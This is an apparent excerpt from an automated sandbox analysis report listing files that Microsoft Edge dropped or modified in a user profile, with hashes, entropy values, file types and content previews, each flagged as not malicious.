Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39636.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dca5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48019.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4dde9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.986373773392141
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXgTLUUa4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8l7UzY
MD5:	0320DECED19B89AEC7D88EADFD96D5D7
SHA1:	07CE5AB59345BC532DE3790DDC090CD8A1851A4C
SHA-256:	1291F5C031AC4996CCF52534C1483F02A44931AFD28D42A7DA7A483BA1DE5F49
SHA-512:	0E0D88072E632B34EDFC61F77954BB918D508A78942075BC9A5494F276B78766D590A667C626589AA548723E7C3A1F5375AC5FBA1293E25C7B1437B0052BBF7E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732421661711901}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a584e9df-ee78-4484-bedb-f70d116f46a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44596
Entropy (8bit):	6.096453483623584
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBPwuzhDO6vP6O+wYCTWQDFhmsEPFXcGoup1Xl3jVu:z/Ps+wsI7ynEe6ewYPchu3VlXr4CRo1
MD5:	2CB8744F50999D0A8FDB17D9DAF0C7BC
SHA1:	ED3AA4D7C1AAD0A2E7ED62CF5C48C9BE45EEFD68
SHA-256:	941ADD01F6980928A34B46EA0A0843C689B2BF1178A8756CE092C15D5C3E545E
SHA-512:	473F450777B39A7B00743A58F065FA8653F24193EE8878C023B3A5ED0BD5EAD25CA9BA4BFE08ABF34C98FC51F5B47215A94E025BA5D250C9034D54DBBAEF59E3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HV